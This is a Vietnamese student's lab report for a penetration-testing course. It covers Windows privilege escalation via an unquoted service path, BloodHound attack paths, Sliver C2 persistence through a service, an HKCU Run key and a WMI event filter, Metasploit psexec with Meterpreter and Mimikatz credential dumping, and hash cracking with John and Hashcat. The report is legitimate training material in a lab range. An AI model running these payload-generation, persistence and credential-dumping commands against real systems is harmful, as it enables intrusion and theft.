Lab3 Buiquangbinh

You might also like

Download as pdf or txt
Download as pdf or txt
You are on page 1of 53

CONTENT

Lab 3.1: Windows Privilege Escalation ..................................................... 3


1. Log on to Windows....................................................................... 3
2. Run beRoot.exe ............................................................................ 4
3. Review beRoot’s results ............................................................... 4
4. Run PowerUp.ps1 ......................................................................... 5
5. Review PowerUp’s results ............................................................ 6
6. Review the 'Video Stream' service in services view ...................... 6
7. Exploiting the vulnerability using PowerUp .................................. 6
8. Adapt the "HijackPath"................................................................. 7
9. Reboot the computer ................................................................... 7
10. Log on to Windows..................................................................... 8
11. Confirm user was added ............................................................. 8
Lab 3.2: BloodHound................................................................................ 9
1. Launch BloodHound ..................................................................... 9
2. Review the “Database Info” ......................................................... 9
3. Review the initial BloodHound graph ......................................... 10
4. Compromised Account 1 ............................................................ 11
5. Compromised Account 2 ............................................................ 12
7. Using pre-built queries ............................................................... 13
Lab 3.3: Persistence ............................................................................... 15
1. Setup Sliver to Receive Connections........................................... 15
2. Generate Sliver Payloads for Persistence. .................................. 15
3. Transfer files to Windows........................................................... 16
4. Service Persistence ..................................................................... 17
5. HKCU Run Persistence ................................................................ 17
6. VMI Event Filter Persistence....................................................... 18
Lab 3.4: MSF psexec, hashdumping, and Mimikatz ................................ 21
1. Launch Metasploit ...................................................................... 21
2. Launch the attack ....................................................................... 22
3. Meterpreter ............................................................................... 22
4. Mimikatz (Kiwi) Setup ................................................................ 23
5. Running Mimikatz ...................................................................... 24
Lab 3.5: Cracking with John the Ripper and Hashcat .............................. 27
1. Benchmark John ......................................................................... 27
2. Cracking Windows hashes with John (LM) .................................. 28
3. Cracking Passwords with John and a Wordlist ............................ 31
4: Cracking Linux passwords with John .......................................... 31
5. Hashcat basics ............................................................................ 32
6: Cracking with Hashcat ................................................................ 35
7. Hashcat and Masking ................................................................. 38
8: Cracking Linux passwords with Hashcat ..................................... 42
Lab 3.6: Responder ................................................................................ 46
1. Launch Responder ...................................................................... 46
2. Switch to Windows machine ...................................................... 47
3. Opening Explorer window .......................................................... 47
4. Review NTLMv2 challenge/response hash ................................. 48
5. Use John The Ripper to crack the obtained hash ........................ 48
6. Logout clark, login as sec560 ...................................................... 49
7. Capturing hashes with a sniffer .................................................. 49
8: Extract hashes from Pcap file ..................................................... 50
Lab 3.1: Windows Privilege Escalation

Mục tiêu:
 Sử dụng beRoot.exe và PowerUp để tìm các vấn đề leo thang đặc
quyền cục bộ.
 Lạm dụng sự cố cấu hình dịch vụ Windows để leo thang đặc quyền
cục bộ.

1. Log on to Windows
2. Run beRoot.exe

3. Review beRoot’s results

beRoot.exe cung cấp phản hồi ngay lập tức và sẽ hiển thị cho bạn một số
vấn đề có thể xảy ra khi leo thang đặc quyền. Nó sẽ xác định một
sự cố đường dẫn dịch vụ không được trích dẫn với dịch vụ có tên Video
Stream.
Đường dẫn của dịch vụ là C:\Program Files\VideoStream\1337
Log\checklog.exe, nhưng đường dẫn nhị phân của dịch vụ không bao
gồm bất kỳ dấu ngoặc kép nào! Có rất nhiều output.

Việc thiếu dấu ngoặc kép trong PATH là tin tốt cho những kẻ tấn công!
4. Run PowerUp.ps1

Bây giờ hãy thử tập lệnh PowerShell PowerUp.ps1. PowerUp hiện là một
phần của PowerShell Empire và là một trong những cơ chế chính được
sử dụng để thực hiện leo thang đặc quyền cục bộ. Đây là tập lệnh
PowerShell thuần túy và do đó có cơ hội chạy trên máy mục tiêu tốt hơn
beRoot.exe. Trong trường hợp sau, có khả năng tệp thực thi beRoot.exe
của bạn bị chặn do kiểm soát ứng dụng chẳng hạn.

Chạy lệnh kiểm tra

PowerUp.ps1 sẽ thực hiện tất cả các bước kiểm tra leo thang đặc quyền.
Powerup sẽ tìm thấy một số thứ mà beRoot không tìm thấy. hãy cẩn
thận với những kết quả âm tính giả chỉ chạy một công cụ.
5. Review PowerUp’s results

PowerUp sẽ quay lại với một số kết quả có thể thú vị:
 Đường dẫn dịch vụ không trích dẫn cho dịch vụ Video Stream (được
xác định bởi BeRoot.exe)
 Một số lỗ hổng chiếm quyền điều khiển DLL có thể xảy ra trong thư
mục %PATH%
 Một số lỗ hổng liên quan đến quyền thực thi và quyền của dịch vụ

6. Review the 'Video Stream' service in services view

Trong beRoot cmd, mở service.msc bằng câu lệnh tương ứng.

Trong Path to executable không có dấu ngoặc kép xung quanh.

7. Exploiting the vulnerability using PowerUp

PowerUp cung cấp một cách thuận tiện để lạm dụng các lỗ hổng đã
được xác định. Nếu xem lại các mục được PowerUp báo cáo, bạn sẽ
nhận thấy rằng nó bao gồm AbuseFunction, cung cấp cú pháp sao chép-
dán dễ dàng để cố gắng khai thác các vấn đề đã được xác định.

Để thử điều này đối với dịch vụ Video Stream dễ bị tấn công, chúng tôi
cần cuộn lên một chút đến một số kết quả được báo cáo đầu tiên và sao
chép AbuseFunction được báo cáo: Write-ServiceBinary -ServiceName
'Video Stream' -Path <HijackPath>

8. Adapt the "HijackPath"

Lạm dụng vấn đề về đường dẫn dịch vụ không được trích dẫn đã được
giải thích trong khóa học. Vì tệp thực thi dịch vụ thực tế nằm trong thư
mục C:\Program Files\VideoStream\1337 Log\ và không có khoảng
trống xung quanh full path, Windows cũng sẽ cố gắng thực thi
C:\Program.exe hoặc C:\Program Files\ VideoStream\1337.exe

Bây giờ chúng ta hãy điều chỉnh "HijackPath" và trỏ nó vào một tệp thực
thi có thể được viết bằng câu lệnh sau:

Lệnh PowerUp ở trên sẽ ghi một tệp thực thi độc hại ở vị trí sau! Do chạy
AbuseFunction, nhận thấy rằng tệp thực thi được viết bởi PowerShell sẽ
tạo một người dùng tên là john bằng Password123! như mật khẩu. Sau
đó, người dùng này sẽ được thêm vào nhóm quản trị viên cục bộ.

9. Reboot the computer

Khi PowerShell abuse function đã chạy, hãy xác minh xem tệp
C:\Program Files\VideoStream\1337.exe có tồn tại hay không. Nếu đúng
như vậy thì bây giờ chúng ta cần khởi động lại dịch vụ để tệp thực thi
được chạy dưới dạng NT AUTHORITY\SYSTEM.
Vì đây là dịch vụ tự động khởi động nên giải pháp khá đơn giản: khởi
động lại hệ thống!
10. Log on to Windows

Sau khi restart:

11. Confirm user was added

Chúc mừng! Chúng ta vừa chuyển từ người dùng không có đặc quyền
quản trị viên lên người dùng có đặc quyền quản trị viên cục bộ!
Chúng ta đã xác định cách phát hiện và khai thác các lỗ hổng leo thang
đặc quyền cục bộ bằng cách sử dụng beRoot và PowerUp. Bằng cách sử
dụng những công cụ này, chúng ta có thể nâng cao đặc quyền của mình
và tạo người dùng mới trên hệ thống với đặc quyền quản trị.
Lab 3.2: BloodHound

Mục tiêu:
 Chúng ta sẽ tải cơ sở dữ liệu demo đi kèm với BloodHound
 Chúng ta sẽ xem xét một số node để làm quen với công cụ này
 Chúng ta sẽ giải thích một số tính năng thú vị nhất của BloodHound
 Chúng ta sẽ chạy một trong những truy vấn phổ biến nhất trong
BloodHound (Tìm đường dẫn ngắn nhất tới Domain Admins)

1. Launch BloodHound

Chúng ta đã cài đặt BloodHound và cơ sở dữ liệu neo4j được


BloodHound sử dụng. Dịch vụ cơ sở dữ liệu đã được chạy.
Đăng nhập với username: neo4j và password: sec560

2. Review the “Database Info”

Chúng ta có thể xem lại kiểu dữ liệu bằng cách nhấp vào nút Database
Info (bên cạnh Node Info). Bạn sẽ nhận thấy rằng cơ sở dữ liệu này bao
gồm các thông tin sau:
 134 users và 157 groups
 400 computers
 19 active sessions
 2204 ACLs
 3541 realationships
Thông tin này cung cấp năng lượng cho biểu đồ BloodHound!
3. Review the initial BloodHound graph

DOMAIN ADMINS@TOKYO.JAPAN.LOCAL
4. Compromised Account 1

Giả sử chúng tôi đã xâm phạm tài khoản của YFAN. Hãy xem liệu chúng
ta có thể tìm cách từ tài khoản đó đến Domain Admin hay không. Đầu
tiên chúng ta hãy tìm tài khoản YFAN (không phải YFAN_A ). Bấm vào ô ở
trên cùng bên phải rồi gõ YFAN.
Tiếp theo, nhấp chuột phải vào người dùng và chọn "Mark User as
Owned" (thuật ngữ "Owned" là thuật ngữ hack chỉ tài khoản bị xâm
phạm). Có thể là chúng tôi có một phiên với tư cách là người dùng đó,
kerberos TGT, mật khẩu hoặc hàm băm mật khẩu của họ. Chúng tôi có
thể đánh dấu nhiều principals là "Owned".

Attack path có nghĩa là nếu chúng ta kiểm soát được YFAN thì chúng ta
có thể thay đổi mật khẩu của UYAMASAKI . Người dùng UYAMASAKI là
Domain Admin. Do đó, nếu chúng tôi có quyền truy cập với tư cách
YFAN , chúng tôi có thể dễ dàng có được quyền truy cập Domain Admin.

5. Compromised Account 2

Chọn vào user YFAN_A.


Bây giờ hãy xem liệu chúng ta có thể truy cập nhóm "Domain Admins"
bắt đầu từ người dùng này hay không. Lần này chúng ta sẽ thực hiện
Pathfinding theo cách khác.
Vậy làm thế nào để chúng ta trở thành thành viên của group DOMAIN
ADMINS@TOKYO.JAPAN.LOCAL

Do đó, trong quá trình thử nghiệm thâm nhập thực tế, đường tấn công
của chúng ta sẽ là:

7. Using pre-built queries

Chạy query Find Shortest Paths to Domain Admins


Lab 3.3: Persistence

Mục tiêu:
 Tạo nhiều loại tệp để duy trì persistence với Sliver
 Tạo một dịch vụ persistence sẽ tạo phiên Sliver
 Tạo khóa đăng ký người dùng để persistenct
 Sử dụng bộ lọc WMI để phát hiện các lần đăng nhập thất bại nhằm
kích hoạt tính liên tục

1. Setup Sliver to Receive Connections

Setup Sliver để nhận connections. Khởi động Sliver bằng câu lệnh tương
ứng. Setup a listener on port 443 by running https to start the listener.

2. Generate Sliver Payloads for Persistence.

Let's take a look at the options with generate bằng câu lệnh generate -h.
Let's create two payloads, one for a service and then one for a standard
executable bằng 2 câu lệnh sau:
generate --os windows --arch 64bit --skip-symbols --format service --
name service --http https://10.130.10.5

generate --os windows --arch 64bit --skip-symbols --format exe --name


payload --http https://10.130.10.5

3. Transfer files to Windows

2 file được sở hữu bởi root:

Trao quyền cho user sec560:

Chạy một web server để có thể lấy files trên Windows. Run the python
web server: python3 -m http.server

Chuyển sang máy Windows và tải file với PowerShell


4. Service Persistence

Bước đầu để tạo 1 service tên persist:

Hãy test persistence mechanism. Reboot the Windows hosts và bạn sẽ


thấy a new Sliver session on your Slingshot Linux VM.

Tương tác với session bằng câu lệnh: sessions -i aeb6888a

Hãy xem cấp độ của truy cập bằng câu lệnh: whoami

Dịch vụ chạy dưới dạng SYSTEM mang lại cho chúng ta mức độ truy cập
cao với cơ chế lưu giữ lâu dài.

5. HKCU Run Persistence

Chạy lệnh reg để tạo the registry key cho current user bằng câu lệnh:
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
/v "User Persist" /t REG_SZ /F /D
"C:\Users\sec560\Desktop\payload.exe"

Thay vào đó, chúng ta có thể sử dụng HKLM (HKEY Local Machine) và
cách này sẽ hiệu quả với bất kỳ người dùng nào đăng nhập vào hệ thống,
nhưng nó yêu cầu quyền truy cập nâng cao để sử dụng khóa này. Chúng
ta đang sử dụng HKCU (Người dùng hiện tại HKEY) nên không yêu cầu
quyền truy cập nâng cao. Để kiểm tra điều này, chỉ cần đăng xuất khỏi
Windows và đăng nhập lại với tư cách người dùng sec560. Khi đăng nhập
lại bạn sẽ thấy một phiên mới trong Sliver.

Xóa key:

6. VMI Event Filter Persistence

Bộ lọc sự kiện WMI rất linh hoạt về cách kích hoạt payload, ta sẽ thiết
lập một trình xử lý sự kiện cho một lỗi đăng nhập (ID sự kiện 4625) cho
người dùng fakeuser với 3 bước bằng câu lệnh:
$filter = Set-WmiInstance -Namespace root/subscription -Class
__EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name =
"UPDATER"; Query = "SELECT * FROM __InstanceCreationEvent
WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND
Targetinstance.EventCode = '4625' And Targetinstance.Message Like
'%fakeuser%'"; QueryLanguage = 'WQL'}

$consumer = Set-WmiInstance -Namespace root/subscription -Class


CommandLineEventConsumer - Arguments @{Name = "UPDATER";
CommandLineTemplate = "C:\Users\sec560\Desktop\payload.exe"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace
root/subscription -Class __FilterToConsumerBinding -Arguments
@{Filter = $Filter; Consumer = $Consumer}

Ta đã thiết lập bộ lọc chuyển sang linux mở 1 thiết bị đầu cuối mới và
thử đăng nhập bằng smbclient và fakeuser. Nó mất một lúc để bộ lọc
phát hiện thông tin đăng nhập

Nhận được session

Chuyển sang sessions 90 bằng câu lệnh sessions -i 90


Kiểm tra quyền user hiện tại bằng câu lệnh whoami cho thấy rằng ta đã
có quyền truy cập ở cấp độ SYSTEM
Xóa filter bằng câu lệnh:

Get-WMIObject -Namespace root\Subscription -Class


__FilterToConsumerBinding -Filter "__Path LIKE '%Updater%'" |
Remove-WmiObject -Verbose
VERBOSE: Performing the operation "Remove-WmiObject" on target
"\
\SEC560STUDENT\ROOT\Subscription:__FilterToConsumerBinding.Cons
umer="CommandLineEventConsumer
="__EventFilter.Name=\"UPDATER\""".
Lab 3.4: MSF psexec, hashdumping, and

Mimikatz

Mục tiêu:
 Để sử dụng mô-đun khai thác Metasploit psexec nhằm triển khai tải
trọng Meterpreter tới máy Windows mục tiêu bằng phiên SMB được
xác thực
 Để khám phá khả năng của Meterpreter nhằm nhận được các đặc
quyền và kết xuất các hàm băm từ máy mục tiêu

1. Launch Metasploit

Khởi động bằng câu lệnh: msfconsole

Chọn psexec exploit module từ Metasploit bằng câu lệnh:


use exploit/windows/smb/psexec

Đối với payload, sử dụng Meterpreter với giai đoạn Reverse_tcp:


set PAYLOAD windows/meterperter/reverse_tcp

Tiếp theo, cần cho Metasploit biết mục tiêu mà nó sẽ khởi chạy psexec ,
cụ thể là Web01, 10.130.10.25 bằng câu lệnh: set RHOST 10.130.10.25

Bây giờ cần đặt LHOST , nơi mà stager Reverse_tcp sẽ kết nối trở lại. Đặt
nó vào giao diện tun0 bằng câu lệnh: set LHOST tun0

Định cấu hình mô-đun khai thác psexec với tên miền hiboxy, tên người
dùng bgreen và mật khẩu Pass1. Người dùng hiboxy\bgreen nằm trong
nhóm quản trị viên của máy này bằng câu lệnh:

set SMBUser bgreen


set SMBDomain hiboxy
set SMBPass Password1
2. Launch the attack

Tiến hành tấn công, thực hiện câu lệnh: run

3. Meterpreter

Kiểm tra thông tin:

Lấy giá trị hash từ mục tiêu bằng cách sử dụng câu lệnh: run
post/windows/gather/smart_hashdump module để dump hash mật
khẩu từ hệ thống.
Thực hiện: run POST/windows/gather/hashdump module.

Lấy thành công các hash từ máy mục tiêu.

4. Mimikatz (Kiwi) Setup

Chuyển sang máy windows. Ta sẽ tải 1 số thông tin đăng nhập cho người
dùng domain vào bộ nhớ. Coi như bgreen đã đăng nhập vào hệ thống.
This will open a new Notepad windows running as hiboxy\bgreen

5. Running Mimikatz

Thoát khỏi session Meterpreter hiện tại và thiết lập các thông số:

Hệ thống mục tiêu là 64 bit nhưng bản Meterpreter là 32 bit . Để thực


hiện step sau chúng ta cần ở trong quy trình hệ thống 64 bit.
Tìm hiểu các process hệ thống 64 bit (-A x64) trên mục tiêu bằng cách sử
dụng lệnh ps. Các process 64 bit đang chạy với quyền System ( -s)
Khi xen vào 1 process đều có thể gây ảnh hưởng đến system đang chạy .
Vì vậy lựa chọn thường dùng là spoolsv (Sprint Spooler) vì nó không cần
thiết trên các hệ thống.
Di chuyển sang 1 process spoolsv.exe bằng lệnh sau:

Kiểm tra xem meterpreter đã là 64 bit chưa:

Bây giờ đã là process 64 bit tải mimikatz bằng lệnh dưới:


Lab 3.5: Cracking with John the Ripper and

Hashcat

Mục tiêu:
 Sử dụng John the Ripper để bẻ khóa một số hàm băm từ Windows và
Linux
 Sử dụng Hashcat để bẻ khóa băm mật khẩu từ hệ thống Windows và
Linux
 Phân tích cách các tệp quy tắc Hashcat có thể giúp bẻ khóa băm
thành công hơn
 So sánh hiệu suất của Hashcat với John the Ripper

1. Benchmark John

John the Ripper (John) đã được cài đặt trong máy ảo. Trước tiên, hãy gọi
John ở chế độ thử nghiệm và thử nghiệm một vài loại hàm băm khác
nhau.
Hãy xem John có thể bẻ khóa mật khẩu LM và MD5 nhanh đến mức nào.
2. Cracking Windows hashes with John (LM)

Bây giờ chúng ta sẽ bẻ khóa một số giá trị băm trong tệp web01.hashes
có trong khóa học Slingshot VM trong thư mục labs. Đây chính là thông
tin chúng tôi lấy từ hệ thống Web01 (10.130.10.5) trong Password
dumping lab.
Theo mặc định, John sẽ tập trung vào giá trị băm LM.
Chạy John: ~/labs/web01.hashes

John đã phát hiện hàm băm là LM (LANMAN). Lưu ý rằng mật khẩu mà
John đã bẻ khóa được viết hoa TẤT CẢ. Đó là bởi vì LM chuyển đổi mọi
thứ thành chữ hoa. Ngoài ra, hãy lưu ý cách John bẻ khóa bảy ký tự đầu
tiên của mật khẩu LM tách biệt với bảy ký tự thứ hai, xử lý mỗi nửa như
thể đó là một mật khẩu khác. Nửa đầu của mật khẩu được biểu thị bằng
tên người dùng:1 và nửa sau là tên người dùng:2.

Nếu John đã bẻ khóa mật khẩu, nó sẽ không cố gắng bẻ khóa mật khẩu
nữa. Để xem mật khẩu đầy đủ (ghép hai phần bảy ký tự của mật khẩu
LM lại với nhau) mà John có thể bẻ khóa, chúng ta có thể chạy nó với tùy
chọn --show:
Lệnh này tìm kiếm các giá trị băm trong web01.hash trong tệp john.pot
để nó có thể in toàn bộ mật khẩu được liên kết với người dùng. Chúng ta
hãy xem tập tin pot.
Sử dụng cat để kiểm tra tệp ~/.john/john.pot.

Trên các hệ thống hiện đại, rất hiếm khi có hàm băm mật khẩu LM. Tuy
nhiên, tình trạng này vẫn thường xuyên xảy ra trên các miền có tài khoản
cũ. Theo kinh nghiệm của tác giả, điều này xảy ra ở khoảng 15% môi
trường. Đây vẫn là một cuộc tấn công khả thi!
Hãy sử dụng John và bẻ khóa hàm băm NT bằng cách sử dụng tùy chọn --
format=nt.
Định dạng NT không chuyển đổi mật khẩu cũng như không phân chia
mật khẩu. Điều này có nghĩa là mật khẩu khó bị bẻ khóa hơn.
Trong trường hợp này, chúng ta có cả hàm băm mật khẩu LM và NT.
Hàm băm LM bị bẻ khóa rất nhanh và cung cấp cho chúng ta mật khẩu
viết hoa.
Chúng ta có thể sử dụng mật khẩu viết hoa này với mật khẩu NT để khôi
phục mật khẩu ban đầu. Nếu nhìn lại, chúng ta có thể thấy rằng chúng ta
đã bẻ khóa hàm băm LM cho vberry, nhưng chúng ta đã không bẻ khóa
hàm băm NT. Chúng ta có thể sử dụng một công cụ trong Metasploit để
giúp hoàn thành quá trình bẻ khóa để có thể lấy mật khẩu phân biệt chữ
hoa chữ thường. Đầu tiên, chúng ta hãy xem dòng vberry từ tệp
web01.hash bằng câu lệnh $ grep vberry ~/labs/web01.hashes

Hàm băm đầu tiên là hàm băm LM và hàm băm thứ hai là hàm băm NT.
Chúng ta sẽ sử dụng mật khẩu viết hoa so với hàm băm NT để lấy mật
khẩu phân biệt chữ hoa chữ thường.
Bản phát hành Jumbo của JtR bao gồm các tính năng bổ sung, bao gồm
tùy chọn --loopback. Tùy chọn này cho phép chúng ta sử dụng tệp pot
(nơi lưu trữ băm/mật khẩu đã bẻ khóa) làm đầu vào cho trình bẻ khóa.

Chúng ta đã lấy hàm băm LM, bẻ khóa nó, sau đó sử dụng hàm băm
không phân biệt chữ hoa chữ thường để bẻ khóa hàm băm NT phân biệt
chữ hoa chữ thường! Rất khó có khả năng chúng ta đoán được
mImiGOTKnENZ2g đầy đủ, phân biệt chữ hoa chữ thường, nhưng cơ chế
lưu trữ LM đã khiến việc này trở nên gần như dễ dàng!
3. Cracking Passwords with John and a Wordlist

Chúng ta không còn băm LM nữa, vì vậy bây giờ chúng ta cần tấn công
hàm băm NT phân biệt chữ hoa chữ thường. Hãy sử dụng danh sách mật
khẩu rockyou.txt. Danh sách này được lấy từ cuộc tấn công năm 2009
vào trang RockYou. Trang web lưu trữ mật khẩu không được mã hóa, ở
dạng văn bản rõ ràng để mọi người có thể đọc được. Chúng ta sẽ sử
dụng danh sách này vì chúng ta biết rằng trước đây hàng triệu người
dùng đã sử dụng những mật khẩu này. Một số người dùng có thể chọn
(hoặc sử dụng lại) mật khẩu từ danh sách này.
Danh sách RockYou nằm ở /opt/passwords/rockyou.txt và chúng ta có
thể sử dụng nó với tùy chọn --wordlist.

Có thể thấy 10 người dùng có mật khẩu có trong file rockyou.tct

4: Cracking Linux passwords with John

Bây giờ hãy thử bẻ khóa một số mật khẩu Linux. Chúng ta đã lưu tệp
/etc/shadow từ Web10 (10.130.10.10) dưới dạng ~/labs/web10.shadow .
Hãy chạy John với tập tin shadow.
Để nó chạy trong một phút, sau đó nhấn CTRL-C hoặc q để thoát. John sẽ
không bẻ khóa những mật khẩu này dựa trên danh sách mặc định của nó.
Hãy sử dụng danh sách RockYou một lần nữa.

Bạn có thể nhớ lại John đã duyệt qua danh sách RockYou nhanh như thế
nào với hàm băm NT. Bạn sẽ nhận thấy rằng thuật toán băm
sha512crypt mất nhiều thời gian hơn để bẻ khóa. Thuật toán này thêm
salt và nhiều vòng băm, không giống như NT không thêm salt và một
vòng băm duy nhất.
Nếu bạn để nó chạy đủ lâu, bạn sẽ bẻ khóa được 11 mật khẩu, nhưng
hiện tại…
Thoát bằng ctrl+c

5. Hashcat basics

Tiếp theo, hãy tìm kiếm các số cụ thể được liên kết với các loại băm nhất
định để chúng ta có thể chỉ ra những số nào sẽ sử dụng với tùy chọn -m.
Chúng ta có thể chỉ cần dẫn đầu ra của sự trợ giúp của Hashcat thông
qua grep để tìm kiếm một số loại hàm băm phổ biến.
Options:
-m hashtype
-a attack-mode
 -a 0: straight: ex: letmein & password
 -a 1: combination: ex: letmeinpassword & passwordletmein
 -a 3: brute force: ex: 0001, 0002, 0003, etc..
 -a 6: hybrid + mask: ex: letmein0000, password0000, letmein0001 ..

Hãy bắt đầu bằng việc tìm kiếm các giá trị băm LANMAN, được Hashcat
viết tắt là LM:

Trong đầu ra, ta sẽ thấy một dòng có nội dung 3000 | LM... Điều này cho
thấy rằng để bẻ khóa băm LM, chúng ta gọi Hashcat bằng -m 3000 .
Chúng ta cũng có thể thấy các con số mà Hashcat liên kết với NTLMv1 và
NTLMv2 trong đầu ra của nó ở đây vì mỗi con số khớp với LM mà chúng
ta đã tìm kiếm.
Để xác định số loại hàm băm cần thiết để bẻ khóa các hàm băm MD5
Linux có muối (còn được gọi là md5crypt ), vui lòng chạy:

Ở đây, chúng ta thấy rằng chúng ta nên gọi Hashcat với -m 500 để bẻ
khóa các giá trị băm này, được liên kết với "Operating Systems".
Cuối cùng, hãy tìm cách chỉ định hàm băm SHA512.

Tiếp theo, hãy thực hiện một số thước đo hiệu suất của Hashcat cho các
thuật toán băm phổ biến.
Chúng ta sẽ gọi Hashcat bằng cờ -w 3, nghĩa là chúng ta muốn có
Workload Profile ( -w ) số 3. Các tùy chọn khác nhau cho -w bao gồm:
 1 : low. Tác động tối thiểu đến hiệu suất GUI và mức tiêu thụ điện
năng thấp
 2 : default. Tác động đáng chú ý đến GUI và mức tiêu thụ điện năng
kinh tế
 3 : high. Tiêu thụ điện năng cao và GUI có khả năng không phản hồi
 4: nightmare. Tiêu thụ năng lượng điên cuồng và máy chủ không có
đầu vì GUI sẽ không có đủ CPU hoặc GPU để đáp ứng

Chúng ta sẽ bắt đầu với điểm chuẩn để xem hiệu suất bẻ khóa loại băm -
m 3000, còn được gọi là LM hoặc LANMAN bằng câu lệnh $hashcat -w 3
--benchmark -m 3000

Tại đây bạn có thể thấy hiệu suất tính bằng kilohash trên giây ( kH/s ).
Hãy ghi lại tốc độ crack LM trên hệ thống của bạn bằng Hashcat.
Tương tự với md5 có salt là -m 500 và sha521scrypt, hàm băm $6$ được
liên kết với một máy linux là -m 1800:
Sha512scrypt

6: Cracking with Hashcat

Sử dụng Hashcat để bẻ khóa mật khẩu từ tệp web01.hash trong thư mục
labs và sử dụng danh sách mật khẩu RockYou.
Mặc dù có thể tấn công các hàm băm LM bằng hashcat ( -m 3000 ),
nhưng chúng ta sẽ tập trung vào các hàm băm NT.
Gọi Hashcat với Workload Profile là 3 ( -w 3 ) để sử dụng nhiều sức mạnh
tính toán nhất có thể trong khi vẫn duy trì một số quyền truy cập GUI,
với chế độ tấn công bằng 0 ( -a 0 ) để sử dụng nguyên trạng từ điển của
chúng ta để bẻ khóa loại băm 1000 , đó là NT ( -m 1000 ). Sau đó, chỉ
định tệp web01.hashes để bẻ khóa và rockyou.txt làm từ điển bằng câu
lệnh:
hashcat -w 3 -a 0 -m 1000 ~/labs/web01.hashes
/opt/passwords/rockyou.txt

Bây giờ chúng ta hãy xem các rule có sẵn trong Hashcat bằng câu lệnh:
ls /usr/local/share/doc/hashcat/rules/

Như bạn có thể thấy, Hashcat có rất nhiều file quy tắc khác nhau. Chúng
ta hãy xem xét một trong những best64.rule hữu ích nhất bằng câu lệnh:
head -n 30 /usr/local/share/doc/hashcat/rules/best64.rule
Khoảng trắng ở trên bị bỏ qua nhưng nó giúp làm cho nó dễ đọc hơn. $0
$0 có nghĩa là mật khẩu00. Trong tệp quy tắc này, bạn sẽ thấy rằng mỗi
từ được thử ở dạng ( : ), đảo ngược ( r ) và tất cả đều là chữ hoa ( u ) và
trường hợp của ký tự đầu tiên được chuyển đổi ( T0 ). Ngoài ra, mỗi từ
( $ ) được lấy và một chữ số duy nhất được áp dụng cho phần cuối của
từ đó ( $0 đến $9 ). Sau đó, chúng tôi lặp lại mỗi từ có một chữ số hai lần
( $0 $0 ), ghi nhớ rằng khoảng trắng bị bỏ qua. Các quy tắc trong tệp này
lặp đi lặp lại và thường khá thông minh.
Hãy áp dụng chúng cho nỗ lực bẻ khóa với tùy chọn -r chỉ định tệp quy
tắc này bằng câu lệnh hashcat -w 3 -a 0 -m 1000 ~/labs/web01.hashes
/opt/passwords/rockyou.txt -r /usr/local/share/doc/hashcat/
rules/best64.rule
Điều này đã tìm thấy thêm hai mật khẩu! Lưu ý trong kết quả ở trên rằng
Hashcat đã loại bỏ 11 giá trị băm vì nó đã bẻ khóa chúng.

Thực hiện xem kết quả bằng câu lệnh: $hashcat -m 1000 --username --
show --outfile-format 2 ~/labs/web01.hashes

7. Hashcat and Masking

Các quy tắc được cung cấp bởi Hashcat rất tuyệt vời nhưng có thể tùy
chỉnh thêm nữa. Nếu muốn nối tất cả các số có hai chữ số có thể, có thể
sử dụng ?d?d . Nếu nhìn kỹ vào best64.rule, nhận thấy nó không sử dụng
tất cả các số có hai chữ số. Hãy thực hiện một cuộc tấn công mask bằng
cách sử dụng tất cả các số có hai chữ số. Ngoài ra, hãy sử dụng Endlish
dictionary làm danh sách mật khẩu cơ bản. Từ điển này được đặt tại
/opt/passwords/english-dictionary-capitalized.txt . Chúng ta sẽ thêm
(thêm vào cuối dự đoán) bằng chế độ 6 (chế độ 7 là prepend).

Thực hiện câu lệnh: $hashcat -w 3 -a 6 -m 1000 ~/labs/web01.hashes


/opt/passwords/english-dictionary-capitalized.txt ?d?d
Nếu bạn đã xem mật khẩu, có thể nhận thấy rằng mọi người thường
chọn một từ, thêm số, sau đó là một ký tự đặc biệt. Hãy sử dụng nó như
một mask!
Thực hiện câu lệnh $hashcat -w 3 -a 6 -m 1000 ~/labs/web01.hashes
/opt/passwords/english-dictionary-capitalized.txt ?d?s
Hãy thực hiện thêm một bước nữa nhưng lần này hãy sử dụng
rockyou.txt bằng câu lệnh: $hashcat -w 3 -a 6 -m 1000
~/labs/web01.hashes /opt/passwords/rockyou.txt ?d?s

Hãy xem tất cả mật khẩu đã được cracked bằng câu lệnh: $hashcat -m
1000 --username --show --outfile-format 2 ~/labs/web01.hashes
8: Cracking Linux passwords with Hashcat

Hãy bẻ khóa các hash từ web10 bằng Hashcat, cụ thể là các hash
$6$ được liên kết với sha512crypt.

Có thể rất hữu ích nếu lấy mật khẩu đã bị bẻ khóa và thêm chúng vào
tệp từ điển để không phải áp dụng lại các quy tắc xáo trộn từ cho chúng
trước khi khám phá lại mật khẩu khi nó được băm bằng thuật toán khác.
Nói cách khác, chúng ta đã mangled một số từ và giải mã băm của chúng,
vậy tại sao lại mangle những từ đó nếu chúng ta gặp cùng một mật khẩu
bằng thuật toán băm khác? Chúng ta sẽ hiệu quả hơn nếu lấy những từ
mangled và thêm chúng vào tệp danh sách từ của mình.

Hãy lưu tất cả mật khẩu mà đã bẻ khóa từ hệ thống Windows vào một
tệp. Chúng ta sẽ sử dụng lệnh tương tự như trên, nhưng vì không cần
tên người dùng nên chúng ta sẽ bỏ qua tùy chọn --username.

Thực hiện câu lệnh: $hashcat -m 1000 --show --outfile-format 2


~/labs/web01.hashes | tee /tmp/passwords.txt
Now let's use Hashcat to crack some Linux hashes!

Thực hiện câu lệnh: $hashcat -w 3 -a 0 -m 1800 ~/labs/web10.shadow


/tmp/passwords.txt -r /usr/local/share/doc/hashcat/rules/best64.rule
Xem kết quả bằng câu lệnh: $hashcat -m 1800 --username --show --
outfile-format 2 ~/labs/web10.shadow
Người dùng wrobinson sử dụng mật khẩu tương tự trên cả hai hệ thống.
Người dùng đã chọn Patrique2238 trên Windows và Patrique223877
trên Linux.

Let's take a look at hashcat's potfile bằng câu lệnh:


$cat ~/.local/share/hashcat/hashcat.potfile

Bây giờ chúng ta đã thấy cách có thể tạo từ điển chuyên biệt về tên
người dùng và mật khẩu đã bị bẻ khóa để cải thiện tỷ lệ thành công của
Hashcat trong việc bẻ khóa mật khẩu.
Lab 3.6: Responder

Mục tiêu:
 Để nhận được NTLMv2 challenge-response bằng cách sử dụng
LLMNR (sử dụng Replyer)
 Để bẻ khóa NTLMv2 challenge-response bằng cách sử dụng John The
Ripper, cung cấp cho chúng ta bộ thông tin xác thực hợp lệ
